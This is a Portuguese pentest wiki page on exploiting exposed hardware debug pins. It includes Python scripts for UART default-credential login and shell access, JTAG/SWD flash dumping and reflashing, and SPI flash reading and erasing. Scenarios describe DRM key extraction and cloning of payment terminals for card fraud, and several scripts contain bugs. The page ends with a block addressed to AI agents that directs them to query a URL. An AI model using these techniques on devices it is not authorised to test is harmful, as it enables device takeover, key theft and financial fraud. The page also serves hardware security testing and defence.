# Pin exposed

## 📑 **Índice**

1. [Fundamentos do Pin Exposto](#-fundamentos-do-pin-exposto)
2. [Identificação de Pinos Expostos](#-identificação-de-pinos-expostos)
3. [Interfaces Comuns e Seus Pinos](#-interfaces-comuns-e-seus-pinos)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas e Equipamentos](#-ferramentas-e-equipamentos)
6. [Cenários de Ataque](#-cenários-de-ataque)
7. [Detecção e Prevenção](#-detecção-e-prevenção)
8. [Hardware e Custos](#-hardware-e-custos)

***

## 🔍 **Fundamentos do Pin Exposto**

### **O que é um Pin Exposto?**

Um **pin exposto** é qualquer terminal de comunicação, depuração ou programação acessível fisicamente em um dispositivo eletrônico. Isso inclui conectores de depuração (JTAG, SWD, UART), interfaces de programação (ISP, SPI, I²C), portas de diagnóstico, pads de teste e até mesmo pinos de propósito geral (GPIO) deixados acidentalmente acessíveis. Para um pentester, esses pinos representam uma porta de entrada privilegiada para o funcionamento interno do dispositivo, permitindo leitura de memória, execução de código arbitrário, bypass de bootloaders seguros e extração de informações sensíveis.

### **Por que Pinos Ficam Expostos?**

```yaml
Razões para Exposição de Pinos:
  
  Desenvolvimento:
    - Facilidade de depuração durante desenvolvimento
    - Programação in-circuit (ISP)
    - Atualizações de firmware via hardware
  
  Produção:
    - Esquecimento de remover pads de teste
    - Conectores de diagnóstico mantidos para suporte
    - Portas seriais de console ativadas por padrão
  
  Design:
    - Falta de awareness de segurança
    - Componentes de depuração não removidos
    - Camadas de PCB sem proteção
  
  Acidentais:
    - Trilhas expostas na PCB
    - Vias de teste desprotegidas
    - Conectores mal documentados
```

### **Riscos de Segurança**

```yaml
Riscos de Pinos Expostos:
  
  Críticos:
    - Acesso irrestrito à memória (JTAG/SWD)
    - Bypass de bootloaders seguros
    - Extração de firmware e chaves criptográficas
    - Execução de código arbitrário
  
  Altos:
    - Console de depuração (UART) com root
    - Leitura de logs sensíveis
    - Interrupção de inicialização segura
  
  Médios:
    - Leitura de tensões e sinais
    - Clonagem de dispositivos
    - Engenharia reversa de hardware
  
  Baixos:
    - Identificação de componentes
    - Fingerprinting do dispositivo
```

***

## 🔎 **Identificação de Pinos Expostos**

### **Inspeção Visual**

```yaml
O que Procurar:
  
  Conectores Padrão:
    - JTAG: 10, 14, 20 pinos (header 2.54mm)
    - SWD: 4-5 pinos (ARM Cortex)
    - UART: 3-4 pinos (TX, RX, GND, VCC)
    - SPI: 4-6 pinos (MISO, MOSI, SCK, CS)
    - I²C: 2-4 pinos (SDA, SCL, VCC, GND)
  
  Pads de Teste:
    - Pontos circulares na PCB
    - Vias expostas
    - Áreas de teste sem máscara
  
  Conectores Não Populados:
    - Posições para headers não soldados
    - Conectores de fábrica
    - Portas de diagnóstico
  
  Trilhas Suspeitas:
    - Trilhas que levam a componentes principais
    - Vias próximas ao processador
    - Áreas com serigrafia indicativa (JTAG, DEBUG, UART)
```

### **Técnicas de Identificação**

```python
#!/usr/bin/env python3
# pin_finder.py - Identificação de pinos expostos

import serial
import time
import subprocess

class PinFinder:
    """
    Técnicas para identificar pinos expostos
    """
    
    @staticmethod
    def scan_uart(device='/dev/ttyUSB0', baud_rates=None):
        """
        Escanear portas seriais para encontrar UART ativo
        """
        if baud_rates is None:
            baud_rates = [9600, 19200, 38400, 57600, 115200, 230400, 460800]
        
        for baud in baud_rates:
            try:
                ser = serial.Serial(device, baud, timeout=1)
                ser.write(b'\n')
                time.sleep(0.5)
                response = ser.read(1024)
                
                if response:
                    print(f"[+] UART encontrado em {baud} baud")
                    print(f"    Primeiros bytes: {response[:50]}")
                    return baud
            except:
                pass
        
        return None
    
    @staticmethod
    def identify_jtag_pins(pinout):
        """
        Identificar pinos JTAG usando técnica de varredura
        """
        # TCK geralmente tem clock constante
        # TMS muda durante operações
        # TDI e TDO são dados seriais
        
        jtag_pins = {
            'TCK': None,
            'TMS': None,
            'TDI': None,
            'TDO': None,
            'TRST': None
        }
        
        # Implementação com hardware específico
        # Usando GPIO e lógica de varredura
        
        return jtag_pins
    
    @staticmethod
    def check_voltage(pin):
        """
        Verificar tensão do pino (com multímetro)
        """
        # Em hardware real, usar ADC
        print(f"[*] Medindo tensão no pino {pin}...")
        return 3.3  # Exemplo
    
    @staticmethod
    def continuity_test(pin1, pin2):
        """
        Teste de continuidade entre pinos
        """
        # Verificar se pinos estão conectados
        return False

# Uso
# uart_baud = PinFinder.scan_uart('/dev/ttyUSB0')
```

### **Ferramentas de Identificação**

```bash
# BusPin (identificação de pinos UART)
bus_pin -p /dev/ttyUSB0

# JTAGulator (identificação automática de JTAG)
jtagulator -p /dev/ttyUSB0

# JTAGenum (Arduino/ESP32 based)
jtag_enum -p 2,3,4,5,6,7

# Logic Analyzer (identificação de protocolos)
pulseview -i capture.sr
```

***

## 🔌 **Interfaces Comuns e Seus Pinos**

### **JTAG (Joint Test Action Group)**

```yaml
JTAG - Padrão IEEE 1149.1:
  
  Pinos Obrigatórios (4-5):
    - TDI (Test Data In): Entrada de dados
    - TDO (Test Data Out): Saída de dados
    - TCK (Test Clock): Clock de teste
    - TMS (Test Mode Select): Seleção de modo
    - TRST (Test Reset): Reset opcional
  
  Headers Comuns:
    - 10 pinos: 2x5 (2.54mm)
    - 14 pinos: 2x7 (2.54mm)
    - 20 pinos: 2x10 (2.54mm)
  
  Tensões:
    - 1.8V, 2.5V, 3.3V, 5V
  
  Identificação:
    - Pino 1 geralmente marcado (quadrado, triângulo)
    - VCC geralmente em pinos específicos
    - GND geralmente em cantos
```

### **SWD (Serial Wire Debug)**

```yaml
SWD - Padrão ARM:
  
  Pinos (4-5):
    - SWDIO: Dados seriais bidirecionais
    - SWCLK: Clock de depuração
    - SWO: Saída de trace (opcional)
    - VCC: Alimentação (3.3V)
    - GND: Referência
  
  Headers Comuns:
    - 4 pinos: 1x4 (1.27mm ou 2.54mm)
    - 5 pinos: 1x5 (1.27mm)
    - 10 pinos: 2x5 (Cortex Debug)
  
  Características:
    - Menos pinos que JTAG
    - Funcionalidade similar
    - Mais comum em ARM Cortex
```

### **UART (Universal Asynchronous Receiver-Transmitter)**

```yaml
UART - Serial Console:
  
  Pinos (3-4):
    - TX (Transmit): Saída de dados
    - RX (Receive): Entrada de dados
    - GND: Referência
    - VCC: Alimentação (opcional)
  
  Características:
    - Baud rates: 9600, 115200, etc.
    - Configuração: 8N1 (padrão)
    - Nível lógico: 3.3V (mais comum) ou 5V
  
  Identificação:
    - TX geralmente ativo (dados)
    - RX geralmente entrada
    - GND é o mais fácil de identificar
```

### **SPI (Serial Peripheral Interface)**

```yaml
SPI - Comunicação Serial:
  
  Pinos (4-6):
    - MOSI: Master Out Slave In
    - MISO: Master In Slave Out
    - SCK: Serial Clock
    - CS/SS: Chip Select (Slave Select)
    - VCC: Alimentação
    - GND: Referência
  
  Características:
    - Full-duplex
    - Mestre-escravo
    - Alta velocidade (MHz)
```

### **I²C (Inter-Integrated Circuit)**

```yaml
I²C - Comunicação Serial:
  
  Pinos (2-4):
    - SDA: Serial Data
    - SCL: Serial Clock
    - VCC: Alimentação
    - GND: Referência
  
  Características:
    - Half-duplex
    - Multi-mestre
    - Endereçamento de dispositivos
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Acesso via UART (Console Serial)**

```python
#!/usr/bin/env python3
# uart_exploit.py

import serial
import time
import sys

class UARTExploit:
    """
    Exploração de console UART exposto
    """
    
    def __init__(self, port='/dev/ttyUSB0', baud=115200):
        self.port = port
        self.baud = baud
        self.ser = None
    
    def connect(self):
        """
        Conectar à porta serial
        """
        try:
            self.ser = serial.Serial(self.port, self.baud, timeout=1)
            print(f"[+] Conectado a {self.port} @ {self.baud} baud")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    def read_banner(self):
        """
        Ler banner de inicialização
        """
        if not self.ser:
            return None
        
        # Aguardar dados
        time.sleep(1)
        data = self.ser.read(1024)
        
        if data:
            print(f"[*] Banner:\n{data.decode('utf-8', errors='ignore')}")
            return data
        
        return None
    
    def send_break(self):
        """
        Enviar break para interromper boot
        """
        if not self.ser:
            return False
        
        # Enviar break (muitos bootloaders param com break)
        self.ser.send_break()
        time.sleep(0.5)
        
        # Verificar se entrou em modo de bootloader
        response = self.ser.read(256)
        if b'boot' in response.lower() or b'uboot' in response.lower():
            print("[+] Bootloader interrompido!")
            return True
        
        return False
    
    def send_commands(self, commands):
        """
        Enviar comandos para o console
        """
        if not self.ser:
            return None
        
        responses = []
        for cmd in commands:
            self.ser.write((cmd + '\n').encode())
            time.sleep(0.5)
            response = self.ser.read(1024)
            responses.append(response.decode('utf-8', errors='ignore'))
            print(f"[>] {cmd}\n{response[:200]}")
        
        return responses
    
    def attempt_credentials(self, username, password):
        """
        Tentar login com credenciais
        """
        if not self.ser:
            return False
        
        # Enviar username
        self.ser.write(username.encode())
        time.sleep(0.2)
        
        # Enviar password
        self.ser.write(password.encode())
        time.sleep(0.5)
        
        response = self.ser.read(1024)
        
        if b'login' not in response.lower() and b'password' not in response.lower():
            print(f"[+] Login bem-sucedido: {username}:{password}")
            return True
        
        return False
    
    def bypass_login(self):
        """
        Técnicas para bypass de login
        """
        # Método 1: Break durante boot
        self.send_break()
        
        # Método 2: Credenciais padrão
        default_creds = [
            ('root', 'root'),
            ('admin', 'admin'),
            ('root', ''),
            ('admin', ''),
            ('root', 'password'),
            ('admin', 'password')
        ]
        
        for user, passwd in default_creds:
            self.attempt_credentials(user, passwd)
        
        # Método 3: Reset de fábrica via comando
        # (depende do dispositivo)
        
        return False
    
    def get_shell(self):
        """
        Obter shell via UART
        """
        print("[*] Tentando obter shell...")
        
        # Tentar comandos comuns
        shell_commands = ['sh', 'bash', '/bin/sh', 'busybox sh']
        
        for cmd in shell_commands:
            self.ser.write(cmd.encode())
            time.sleep(0.5)
            response = self.ser.read(1024)
            
            if b'#' in response or b'$' in response:
                print(f"[+] Shell obtida via {cmd}")
                return True
        
        return False
    
    def interactive_shell(self):
        """
        Shell interativo via UART
        """
        print("[*] Modo interativo (Ctrl+C para sair)")
        
        while True:
            try:
                # Ler dados do dispositivo
                if self.ser.in_waiting:
                    data = self.ser.read(self.ser.in_waiting)
                    sys.stdout.write(data.decode('utf-8', errors='ignore'))
                    sys.stdout.flush()
                
                # Enviar comandos do usuário
                if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                    cmd = sys.stdin.readline()
                    self.ser.write(cmd.encode())
                    
            except KeyboardInterrupt:
                break

# Uso
# uart = UARTExploit('/dev/ttyUSB0', 115200)
# uart.connect()
# uart.read_banner()
# uart.bypass_login()
# uart.interactive_shell()
```

### **2. Acesso via JTAG/SWD**

```python
#!/usr/bin/env python3
# jtag_exploit.py

import subprocess
import time

class JTAGExploit:
    """
    Exploração de JTAG/SWD exposto
    """
    
    def __init__(self, device='stm32f4x'):
        self.device = device
        self.openocd_config = self.generate_openocd_config()
    
    def generate_openocd_config(self):
        """
        Gerar configuração OpenOCD
        """
        config = f"""
        # Interface (J-Link, ST-Link, etc.)
        source [find interface/jlink.cfg]
        transport select swd
        adapter speed 4000
        
        # Target
        source [find target/{self.device}.cfg]
        
        # Commands
        init
        reset halt
        """
        return config
    
    def connect_openocd(self):
        """
        Conectar via OpenOCD
        """
        print("[*] Conectando via OpenOCD...")
        
        # Salvar configuração
        with open('/tmp/openocd.cfg', 'w') as f:
            f.write(self.openocd_config)
        
        # Iniciar OpenOCD
        proc = subprocess.Popen(
            ['openocd', '-f', '/tmp/openocd.cfg'],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )
        
        time.sleep(2)
        return proc
    
    def read_memory(self, address, size):
        """
        Ler memória via JTAG
        """
        cmd = f"mdw {address} {size//4}"
        result = subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=cmd.encode(),
            capture_output=True
        )
        return result.stdout
    
    def write_memory(self, address, data):
        """
        Escrever memória via JTAG
        """
        cmd = f"mwb {address} {data}"
        subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=cmd.encode()
        )
    
    def halt_cpu(self):
        """
        Parar execução da CPU
        """
        subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=b'halt\n'
        )
        print("[+] CPU halted")
    
    def resume_cpu(self):
        """
        Retomar execução da CPU
        """
        subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=b'resume\n'
        )
        print("[+] CPU resumed")
    
    def read_flash(self, start, size, output_file):
        """
        Ler flash do dispositivo
        """
        print(f"[*] Lendo flash: 0x{start:08X} - {size} bytes")
        
        cmd = f"dump_image {output_file} {start} {size}"
        subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=cmd.encode()
        )
        
        print(f"[+] Flash salvo em {output_file}")
    
    def write_flash(self, firmware_file, address=0x08000000):
        """
        Escrever firmware na flash
        """
        print(f"[*] Programando firmware: {firmware_file}")
        
        cmd = f"flash write_image erase {firmware_file} {address}"
        subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=cmd.encode()
        )
        
        print("[+] Firmware programado")
    
    def read_registers(self):
        """
        Ler registradores da CPU
        """
        cmd = "reg"
        result = subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=cmd.encode(),
            capture_output=True
        )
        return result.stdout.decode()
    
    def set_breakpoint(self, address):
        """
        Configurar breakpoint
        """
        cmd = f"bp {address} 4 hw"
        subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=cmd.encode()
        )
        print(f"[+] Breakpoint em 0x{address:08X}")
    
    def continue_execution(self):
        """
        Continuar execução
        """
        subprocess.run(
            ['telnet', 'localhost', '4444'],
            input=b'c\n'
        )

# Uso
# jtag = JTAGExploit('stm32f4x')
# jtag.connect_openocd()
# jtag.halt_cpu()
# jtag.read_flash(0x08000000, 1024*1024, 'flash_dump.bin')
```

### **3. Acesso via SPI (Leitura de Flash Externo)**

```python
#!/usr/bin/env python3
# spi_flash_read.py

import spidev
import time

class SPIFlashReader:
    """
    Leitura de flash SPI externo
    """
    
    # Comandos SPI Flash comuns
    CMD_READ_ID = 0x9F
    CMD_READ_STATUS = 0x05
    CMD_READ_DATA = 0x03
    CMD_FAST_READ = 0x0B
    CMD_WRITE_ENABLE = 0x06
    CMD_PAGE_PROGRAM = 0x02
    CMD_SECTOR_ERASE = 0x20
    CMD_BULK_ERASE = 0xC7
    
    def __init__(self, bus=0, device=0, speed=1000000):
        self.spi = spidev.SpiDev()
        self.spi.open(bus, device)
        self.spi.max_speed_hz = speed
        self.spi.mode = 0  # SPI mode 0
    
    def read_id(self):
        """
        Ler ID do chip
        """
        self.spi.xfer2([self.CMD_READ_ID, 0, 0, 0])
        time.sleep(0.1)
        response = self.spi.readbytes(3)
        
        manufacturer = response[0]
        memory_type = response[1]
        capacity = response[2]
        
        print(f"[*] Manufacturer: 0x{manufacturer:02X}")
        print(f"[*] Memory Type: 0x{memory_type:02X}")
        print(f"[*] Capacity: 0x{capacity:02X}")
        
        return manufacturer, memory_type, capacity
    
    def read_status(self):
        """
        Ler registrador de status
        """
        self.spi.xfer2([self.CMD_READ_STATUS])
        status = self.spi.readbytes(1)[0]
        return status
    
    def read_memory(self, address, size):
        """
        Ler memória flash
        """
        print(f"[*] Lendo 0x{address:08X} - {size} bytes")
        
        data = bytearray()
        chunk_size = 256
        
        for offset in range(0, size, chunk_size):
            # Enviar comando de leitura
            cmd = [self.CMD_READ_DATA,
                   (address >> 16) & 0xFF,
                   (address >> 8) & 0xFF,
                   address & 0xFF]
            
            self.spi.xfer2(cmd)
            chunk = self.spi.readbytes(min(chunk_size, size - offset))
            data.extend(chunk)
            address += chunk_size
            
            if offset % 4096 == 0:
                print(f"  Progresso: {offset}/{size} bytes")
        
        return bytes(data)
    
    def write_enable(self):
        """
        Habilitar escrita
        """
        self.spi.xfer2([self.CMD_WRITE_ENABLE])
        time.sleep(0.01)
    
    def page_program(self, address, data):
        """
        Programar página
        """
        self.write_enable()
        
        cmd = [self.CMD_PAGE_PROGRAM,
               (address >> 16) & 0xFF,
               (address >> 8) & 0xFF,
               address & 0xFF]
        
        self.spi.xfer2(cmd + list(data))
        time.sleep(0.005)  # Tempo de programação
    
    def sector_erase(self, address):
        """
        Apagar setor (4KB)
        """
        self.write_enable()
        
        cmd = [self.CMD_SECTOR_ERASE,
               (address >> 16) & 0xFF,
               (address >> 8) & 0xFF,
               address & 0xFF]
        
        self.spi.xfer2(cmd)
        time.sleep(0.05)  # Tempo de apagamento
    
    def close(self):
        """
        Fechar conexão SPI
        """
        self.spi.close()

# Uso
# flash = SPIFlashReader()
# flash.read_id()
# data = flash.read_memory(0x000000, 1024*1024)
# with open('spi_flash.bin', 'wb') as f:
#     f.write(data)
```

***

## 🛠️ **Ferramentas e Equipamentos**

### **Hardware para Exploração**

| Equipamento              | Função                 | Preço (R$)    | Onde Encontrar     |
| ------------------------ | ---------------------- | ------------- | ------------------ |
| **J-Link (SEGGER)**      | Debugger universal     | \~R$800-2000  | Mouser, DigiKey    |
| **ST-Link/V2**           | Debugger STM32         | \~R$50-100    | AliExpress, Shopee |
| **FTDI FT232RL**         | Conversor USB-UART     | \~R$30-50     | AliExpress, Shopee |
| **Bus Pirate**           | Multi-ferramenta       | \~R$150-250   | AliExpress         |
| **JTAGulator**           | Identificador de pinos | \~R$500-800   | CrowdSupply        |
| **Logic Analyzer**       | Análise de protocolos  | \~R$50-100    | AliExpress         |
| **Raspberry Pi Pico**    | GPIO para exploração   | \~R$35-50     | Shopee, AliExpress |
| **ESP32**                | Wi-Fi + GPIO           | \~R$40-60     | Shopee, AliExpress |
| **Multímetro**           | Medição de tensão      | \~R$50-150    | Mercado Livre      |
| **Total Setup Básico**   | FTDI + Logic Analyzer  | \~R$80-150    | -                  |
| **Total Setup Avançado** | J-Link + JTAGulator    | \~R$1300-2500 | -                  |

### **Ferramentas de Software**

```bash
# OpenOCD - Debugging via JTAG/SWD
sudo apt install openocd
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg

# pyOCD - Python CMSIS-DAP
pip install pyocd
pyocd list
pyocd flash --target stm32f429zi firmware.bin

# J-Link Commander
JLinkExe -device STM32F429ZI -if SWD -speed 4000

# UrJTAG - JTAG universal
sudo apt install urjtag
jtag> cable ft2232
jtag> detect

# Serial console (UART)
screen /dev/ttyUSB0 115200
minicom -D /dev/ttyUSB0 -b 115200

# SPI Flash tools
flashrom -p linux_spi:dev=/dev/spidev0.0 -r flash.bin

# Logic Analyzer (PulseView)
pulseview
```

***

## 🎯 **Cenários de Ataque**

### **Cenário 1: Roteador com UART Exposto**

```yaml
Cenário: Roteador doméstico com header UART na PCB
  
  Identificação:
    - Header 4 pinos (TX, RX, GND, VCC)
    - Tensão: 3.3V
    - Baud rate: 115200
  
  Exploração:
    1. Conectar FTDI ao header
    2. Acessar console serial
    3. Interromper boot (send break)
    4. Acessar bootloader (Uboot)
    5. Modificar variáveis de boot
    6. Carregar firmware customizado
  
  Impacto:
    - Controle total do roteador
    - Redirecionamento de tráfego
    - Botnet
```

### **Cenário 2: Smart TV com JTAG Exposto**

```yaml
Cenário: Smart TV com conector JTAG na placa-mãe
  
  Identificação:
    - Header 10 pinos (JTAG)
    - Tensão: 3.3V
    - Processador ARM Cortex-A
  
  Exploração:
    1. Conectar J-Link ao JTAG
    2. Parar CPU (halt)
    3. Ler firmware da flash
    4. Extrair chaves de DRM
    5. Modificar firmware
  
  Impacto:
    - Remoção de DRM
    - Instalação de software não autorizado
    - Captura de credenciais de streaming
```

### **Cenário 3: Terminal de Pagamento com SWD**

```yaml
Cenário: POS (Point of Sale) com SWD exposto
  
  Identificação:
    - Pads SWD (SWDIO, SWCLK, GND)
    - Tensão: 3.3V
    - Microcontrolador seguro
  
  Exploração:
    1. Conectar ST-Link aos pads
    2. Ler memória protegida
    3. Extrair chaves criptográficas
    4. Clonar dispositivo
  
  Impacto:
    - Clonagem de cartões
    - Interceptação de transações
    - Fraude financeira
```

***

## 🛡️ **Detecção e Prevenção**

### **Métodos de Detecção**

```yaml
Detecção de Pinos Expostos:
  
  Inspeção Visual:
    - Identificar headers não documentados
    - Verificar pads de teste
    - Analisar serigrafia suspeita
  
  Testes Elétricos:
    - Medir tensão em pinos suspeitos
    - Verificar atividade de clock
    - Identificar protocolos de comunicação
  
  Análise de Firmware:
    - Verificar se debug está desabilitado
    - Procurar por backdoors em bootloader
    - Analisar configurações de segurança
```

### **Medidas de Prevenção**

```yaml
Prevenção:
  
  Design:
    - Remover headers de depuração em produção
    - Desabilitar interfaces de debug via firmware
    - Usar fusíveis de segurança (RDP)
    - Implementar JTAG locking
  
  Produção:
    - Remover pads de teste
    - Aplicar resina epóxi em componentes críticos
    - Usar PCBs com camadas internas
    - Implementar detecção de tamper
  
  Operação:
    - Desabilitar UART console
    - Remover backdoors de depuração
    - Validar integridade do firmware
    - Implementar secure boot
```

### **Script de Verificação de Segurança**

```python
#!/usr/bin/env python3
# hardware_security_check.py

class HardwareSecurityCheck:
    """
    Verificação de segurança de hardware
    """
    
    @staticmethod
    def check_debug_interfaces(device):
        """
        Verificar se interfaces de debug estão ativas
        """
        checks = {
            'JTAG': False,
            'SWD': False,
            'UART': False,
            'SPI': False,
            'I2C': False
        }
        
        # Implementar verificações específicas
        # via hardware probes
        
        return checks
    
    @staticmethod
    def check_readout_protection(device):
        """
        Verificar se RDP está ativo
        """
        # Para STM32: ler option bytes
        # RDP Level 0 = desprotegido
        # RDP Level 1 = protegido (leitura bloqueada)
        # RDP Level 2 = irreversível
        
        return {'RDP_Level': 1, 'protected': True}
    
    @staticmethod
    def check_jtag_lock(device):
        """
        Verificar se JTAG está travado
        """
        return {'locked': True}
    
    @staticmethod
    def generate_report(device):
        """
        Gerar relatório de segurança
        """
        report = {
            'device': device,
            'debug_interfaces': HardwareSecurityCheck.check_debug_interfaces(device),
            'readout_protection': HardwareSecurityCheck.check_readout_protection(device),
            'jtag_lock': HardwareSecurityCheck.check_jtag_lock(device),
            'risk_level': 'HIGH' if not check['protected'] else 'LOW'
        }
        
        return report
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
Pin Exposto:
  ✅ Interface de depuração/programação acessível
  ✅ Permite acesso privilegiado ao dispositivo
  ✅ Comum em dispositivos IoT, roteadores, POS
  ✅ Pode ser explorado com hardware de baixo custo

Ameaças:
  - Leitura de firmware e chaves
  - Execução de código arbitrário
  - Bypass de bootloaders seguros
  - Engenharia reversa de hardware

Defesas:
  - Remover headers de depuração
  - Desabilitar interfaces via firmware
  - Implementar RDP e JTAG locking
  - Usar detecção de tamper
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/pin-exposed.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
